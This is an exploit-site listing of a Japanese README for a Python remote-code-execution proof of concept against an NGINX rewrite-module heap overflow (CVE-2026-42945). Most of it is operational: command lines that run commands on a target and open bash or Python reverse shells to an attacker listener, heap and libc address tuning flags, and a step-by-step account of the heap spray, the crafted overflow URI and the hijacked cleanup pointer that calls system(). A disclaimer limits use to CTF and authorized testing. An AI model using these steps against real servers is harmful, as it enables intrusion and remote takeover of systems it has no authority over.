Sploitus

Exploit for CVE-2026-42945-Reverse-Shell-POC

kitploit · 2026-08-31

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEC-SYS-CVE-2026-42945-REVERSE-SHELL-POC
# CVE-2026-42945 (NGINX Rift) リバースシェル付き RCE PoC

**CVE-2026-42945** のリモートコード実行 (RCE) 概念実証 (PoC) です。これは NGINX の `ngx_http_rewrite_module` におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。

* * *

## 脆弱性概要

  * **CVE ID:** CVE-2026-42945
  * **別名:** NGINX Rift
  * **影響を受けるコンポーネント:** `ngx_http_rewrite_module`
  * **影響を受けるバージョン:** NGINX Open Source `0.6.27` – `1.30.0`; NGINX Plus `R32` – `R36`
  * **修正されたバージョン:** NGINX Open Source `1.30.1` / `1.31.0`; NGINX Plus `R36 P4`, `R35 P2`, `R32 P6`
  * **根本原因:** 2パススクリプトエンジンの不一致。長さ計算パスは `is_args = 0` の新しいサブエンジンで実行されるのに対し、コピーパスは `is_args = 1` のメインエンジンで実行され、`ngx_escape_uri(..., NGX_ESCAPE_ARGS)` を呼び出します。エスケープ可能なバイトはそれぞれ 3 バイトに展開され、攻撃者が制御する URI データでヒープバッファがオーバーフローします。
  * **RCE の前提条件:** 名前のない PCRE キャプチャ(`$1`、`$2`)と置換文字列内の `?` を使用する脆弱な `rewrite`/`set` 設定。ASLR が無効化されているか、既知のヒープ / libc ベースアドレスが存在すること。POST ボディを介してヒープをスプレーできること。



* * *

## ファイル

ファイル| 説明  
---|---  
`cve_2026_42945_rce_poc.py`| 組み込みのリバースシェルリスナーとコマンド実行モードを備えた Python エクスプロイト。  
  
* * *

## 必要条件

  * Python 3.8+
  * 脆弱なバージョンと構成プロファイルに一致するターゲット NGINX インスタンス
  * ターゲット HTTP ポートへのネットワーク到達可能性
  * リバースシェル用: 攻撃者のホストは、選択したリスナーポートでターゲットから到達可能である必要があります



* * *

## 使用方法

### 単一コマンドの実行

root@kitploit:~
    
    
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --cmd "id > /tmp/pwned"
    

### リバースシェルの起動(デフォルト bash)

root@kitploit:~
    
    
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --listen-ip 10.0.0.1 \
      --listen-port 1337
    

### Python リバースシェルペイロード

root@kitploit:~
    
    
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --shell-type python \
      --listen-ip 10.0.0.1 \
      --listen-port 1337
    

### 特定のターゲットのアドレス調整

root@kitploit:~
    
    
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --listen-ip 10.0.0.1 \
      --listen-port 1337 \
      --heap-base 0x555555659000 \
      --libc-base 0x7ffff77ba000 \
      --system-offset 0x50d70
    

* * *

## 動作の仕組み

  1. **ヒープスプレー:** 偽の `ngx_pool_cleanup_s` 構造体を含むボディを持つ複数の POST リクエストを送信します: `system@libc | pointer to command | null`。これらのボディは安定したヒープ位置を占有します。
  2. **オーバーフローのトリガー:** 脆弱な `rewrite` エンドポイントに細工した GET リクエストを送信します。URI パターンは次のとおりです: 

root@kitploit:~
         
         /api/<349 x 'A'><969 x '+'><6-byte heap address>
         

オーバーフローにより、隣接する `ngx_pool_t` の `cleanup` ポインタが破損します。
  3. **コード実行:** プールが破棄されると、破損した `cleanup` ポインタが `system(command)` を呼び出し、攻撃者が制御するコマンドが NGINX ワーカープロセス内で実行されます。
  4. **リバースシェル:** `--shell` が使用されている場合、コマンドはリバースシェルペイロードとなり、組み込みのリスナーが着信接続をキャッチします。



* * *

## セキュリティに関する注意

このツールは以下を対象としています:

  * CTF およびラボ演習
  * 書面による許可を得た正規の侵入テスト
  * セキュリティ研究および防御強化活動



所有していない、またはテストの明示的な許可がないシステムでは使用しないでください。

* * *

## ライセンス

自己責任で使用してください。作者は不正または違法な使用について責任を負いません。

* * *

## 帰属

元の脆弱性研究および PoC は **depthfirstdisclosures** (https://github.com/depthfirstdisclosures/nginx-rift) によるものです。 この Python リバースシェルフォークは、レッドチームのラボ / CTF 利用のために作成されました。

* * *

## 参考文献

  * NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
  * NGINX セキュリティ勧告: https://nginx.org/en/security_advisories.html
  * F5 / NGINX ナレッジベース: https://my.f5.com/manage/s/article/K000161019
  * 元の研究リポジトリ: https://github.com/depthfirstdisclosures/nginx-rift